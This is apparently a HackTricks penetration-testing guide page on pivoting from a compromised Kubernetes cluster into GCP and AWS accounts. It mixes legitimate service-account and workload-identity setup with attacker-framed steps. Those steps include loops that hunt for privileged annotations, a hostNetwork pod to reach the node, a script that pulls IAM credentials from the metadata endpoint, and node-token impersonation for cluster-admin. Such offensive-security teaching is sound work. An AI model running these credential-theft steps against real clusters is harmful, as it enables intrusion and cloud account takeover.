hacktricks-cloud/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md

# Kubernetes Pivoting to Clouds

{{#include ../../banners/hacktricks-training.md}}

## GCP

If you are running a k8s cluster inside GCP you will probably want that some application running inside the cluster has some access to GCP. There are 2 common ways of doing that:

### Mounting GCP-SA keys as secret

A common way to give **access to a kubernetes application to GCP** is to:

- Create a GCP Service Account
- Bind on it the desired permissions
- Download a json key of the created SA
- Mount it as a secret inside the pod
- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.

> [!WARNING]
> Therefore, as an **attacker**, if you compromise a container inside a pod, you should check for that **env** **variable** and **json** **files** with GCP credentials.

### Relating GSA json to KSA secret

A way to give access to a GSA to a GKE cluser is by binding them in this way:

- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:

```bash
kubectl create serviceaccount <service-account-name>
```

- Create a Kubernetes Secret that contains the credentials of the GCP service account you want to grant access to the GKE cluster. You can do this using the `gcloud` command-line tool, as shown in the following example:

```bash
gcloud iam service-accounts keys create <key-file-name>.json \
    --iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
    --from-file=key.json=<key-file-name>.json
```

- Bind the Kubernetes Secret to the Kubernetes service account using the following command:

```bash
kubectl annotate serviceaccount <service-account-name> \
    iam.gke.io/gcp-service-account=<gcp-service-account-email>
```

> [!WARNING]
> In the **second step** it was set the **credentials of the GSA as secret of the KSA**. Then, if you can **read that secret** from **inside** the **GKE** cluster, you can **escalate to that GCP service account**.

### GKE Workload Identity

With Workload Identity, we can configure a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) to act as a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods running with the Kubernetes service account will automatically authenticate as the Google service account when accessing Google Cloud APIs.

The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate.

- **Enable Workload Identity** on a new cluster

```bash
gcloud container clusters update <cluster_name> \
    --region=us-central1 \
    --workload-pool=<project-id>.svc.id.goog
```

- **Create/Update a new nodepool** (Autopilot clusters don't need this)

```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```

- Create the **GCP Service Account to impersonate** from K8s with GCP permissions:

```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
    --member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
    --role "roles/iam.securityReviewer"
```

- **Connect** to the **cluster** and **create** the **service account** to use

```bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
```

- **Bind the GSA with the KSA**

```bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
    --role roles/iam.workloadIdentityUser \
    --member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
    --namespace testing \
    iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```

- Run a **pod** with the **KSA** and check the **access** to **GSA:**

```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
  name: workload-identity-test
  namespace: <namespace>
spec:
  containers:
  - image: google/cloud-sdk:slim
    name: workload-identity-test
    command: ['sleep','infinity']
  serviceAccountName: ksa2gcp
  nodeSelector:
    iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
  --namespace testing \
  -- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```

Check the following command to authenticate in case needed:

```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```

> [!WARNING]
> As an attacker inside K8s you should **search for SAs** with the **`iam.gke.io/gcp-service-account` annotation** as that indicates that the SA can access something in GCP. Another option would be to try to abuse each KSA in the cluster and check if it has access.\
> From GCP is always interesting to enumerate the bindings and know **which access are you giving to SAs inside Kubernetes**.

This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**:

```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
    for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
        echo "Pod: $ns/$pod"
        kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
        echo ""
        echo ""
    done
done | grep -B 1 "gcp-service-account"
```

## AWS

### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>

An (outdated) way to give IAM Roles to Pods is to use a [**Kiam**](https://github.com/uswitch/kiam) or a [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basically you will need to run a **daemonset** in your cluster with a **kind of privileged IAM role**. This daemonset will be the one that will give access to IAM roles to the pods that need it.

First of all you need to configure **which roles can be accessed inside the namespace**, and you do that with an annotation inside the namespace object:

```yaml:Kiam
kind: Namespace
metadata:
  name: iam-example
  annotations:
    iam.amazonaws.com/permitted: ".*"
```

```yaml:Kube2iam
apiVersion: v1
kind: Namespace
metadata:
  annotations:
    iam.amazonaws.com/allowed-roles: |
      ["role-arn"]
  name: default
```

Once the namespace is configured with the IAM roles the Pods can have you can **indicate the role you want on each pod definition with something like**:

```yaml:Kiam & Kube2iam
kind: Pod
metadata:
  name: foo
  namespace: external-id-example
  annotations:
    iam.amazonaws.com/role: reportingdb-reader
```

> [!WARNING]
> As an attacker, if you **find these annotations** in pods or namespaces or a kiam/kube2iam server running (in kube-system probably) you can **impersonate every r**ole that is already **used by pods** and more (if you have access to AWS account enumerate the roles).

#### Create Pod with IAM Role

> [!NOTE]
> The IAM role to indicate must be in the same AWS account as the kiam/kube2iam role and that role must be able to access it.

```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
  annotations:
    iam.amazonaws.com/role: transaction-metadata
  name: alpine
  namespace: eevee
spec:
  containers:
  - name: alpine
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", "sleep 100000"]' | kubectl apply -f -
```

### IAM Role for K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>

This is the **recommended way by AWS**.

1. First of all you need to [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Then you create an IAM role with the permissions the SA will require.
3. Create a [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (or the namespaces giving access to the role to all the SAs of the namespace). _The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name_.
4. Finally, **create a SA with an annotation indicating the ARN of the role**, and the pods running with that SA will have **access to the token of the role**. The **token** is **written** inside a file and the path is specified in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)

```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
  name: my-service-account
  namespace: default
  annotations:
    eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```

To **get aws using the token** from `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` run:

```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```

> [!WARNING]
> As an attacker, if you can enumerate a K8s cluster, check for **service accounts with that annotation** to **escalate to AWS**. To do so, just **exec/create** a **pod** using one of the IAM **privileged service accounts** and steal the token.
>
> Moreover, if you are inside a pod, check for env variables like **AWS_ROLE_ARN** and **AWS_WEB_IDENTITY_TOKEN.**

> [!CAUTION]
> Sometimes the **Turst Policy of a role** might be **bad configured** and instead of giving AssumeRole access to the expected service account, it gives it to **all the service accounts**. Therefore, if you are capable of write an annotation on a controlled service account, you can access the role.
>
> Check the **following page for more information**:

{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}

### Find Pods a SAs with IAM Roles in the Cluster

This is a script to easily **iterate over the all the pods and sas** definitions **looking** for that **annotation**:

```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
    for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
        echo "Pod: $ns/$pod"
        kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
        echo ""
        echo ""
    done
    for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
        echo "SA: $ns/$sa"
        kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
        echo ""
        echo ""
    done
done | grep -B 1 "amazonaws.com"
```

### Node IAM Role to cluster-admin

The previos section was about how to steal IAM Roles with pods, but note that a **Node of the** K8s cluster is going to be an **instance inside the cloud**. This means that the Node is highly probable going to **have an IAM role you can steal** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_).

To access the node metadata endpoint you need to:
- Be in a pod and have the metadata endpoint configured to at least 2 tcp hops. This is the most common misconfiguration as usually different pods in the cluster will require access to the metadata endpoint to not break and several companies just decide to allow access to the metadata endpoint from all the pods in the cluster.
- Be in a pod with `hostNetwork` enabled.
- Escape to the node and access the metadata endpoint directly.

(Note that the metadata endpoint is at 169.254.169.254 as always).

To **escape to the node** you can use the following command to run a pod with `hostNetwork` enabled:

```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```

### Steal IAM Role Token

Previously we have discussed how to **attach IAM Roles to Pods** or even how to **escape to the Node to steal the IAM Role** the instance has attached to it.

You can use the following script to **steal** your new hard worked **IAM role credentials**:

```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
    echo "IAM Role discovered: $IAM_ROLE_NAME"
    if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
        echo "Credentials:"
        curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
    fi
fi
```

### Privesc to cluster-admin

In summary: if it's possible to **access the EKS Node IAM role** from a pod, it's possible to **compromise the full kubernetes cluster**.

For more info check [this post](https://blog.calif.io/p/privilege-escalation-in-eks). As summary, the default IAM EKS role that is assigned to the EKS nodes by default is assigned the role `system:node` inside the cluster. This role is very interesting although is limited by the kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).

However, the node can always **generate tokens for service accounts** running in pods inside the node. So, if the node is running a pod with a privileged service account, the node can generate a token for that service account and use it to impersonate the service account like in:

```bash
kubectl --context=node1 create token -n ns1 sa-priv \
    --bound-object-kind=Pod \
    --bound-object-name=pod-priv \
    --bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
```

## References

- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)

{{#include ../../banners/hacktricks-training.md}}